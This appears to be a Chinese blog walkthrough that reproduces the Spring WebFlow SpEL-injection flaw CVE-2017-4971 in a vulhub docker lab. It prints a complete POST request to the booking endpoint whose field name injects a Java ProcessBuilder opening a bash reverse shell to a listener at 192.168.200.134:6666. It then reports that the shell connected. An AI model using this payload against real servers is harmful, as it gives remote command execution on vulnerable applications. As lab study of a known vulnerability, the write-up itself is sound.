SpringWebFlow远程代码执⾏漏洞
Spring WebFlow 远程代码执⾏漏洞
Spring WebFlow 远程代码执⾏漏洞(CVE-2017-4971)
Spring WebFlow 是⼀个适⽤于开发基于流程的应⽤程序的框架(如购物逻辑),可以将流程的定义和实现流程⾏为的类和视图分离开来。在
其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致⼀个SpEL表达式注⼊漏洞,最终造成任意命令执⾏。
漏洞环境
我们先下载环境,在github有别⼈直接搭建好的docker环境我们直接拿来⽤即可
git clone git://github/vulhub/vulhub.git
cd vulhub/spring/CVE-2017-4971/
docker-compose up -d
访问IP:8080/即可看到界⾯。
影响版本
Spring Web Flow 2.4.0 – 2.4.4
漏洞复现spring framework高危漏洞
访问IP:8080/login,⽤左边给的账号登陆系统
登陆后访问IP:8080/hotels/1
点击book hotel后填写信息
填写完信息点击proceed,就到了能触发漏洞的页⾯了
点击Confirm抓包,POC为
POST /hotels/booking?execution=e16s2 HTTP/1.1
Host: 192.168.200.23:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 169
Origin: 192.168.200.23:8080
Connection: close
Referer: 192.168.200.23:8080/hotels/booking?execution=e16s2
Cookie: pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; JSESSIONID=FFA9517B0907812061E9E18C01E163FC
Upgrade-Insecure-Requests: 1
_eventId_confirm=&_csrf=4051e30d-a9fc-48c0-92c9-989875d07d7c&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.200.134/6666+0>%261")).start()=EDI POC中的execution为商品id请改成⾃⼰的别直接⽤该数据包
执⾏后查看监听发现反弹shell执⾏成功

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。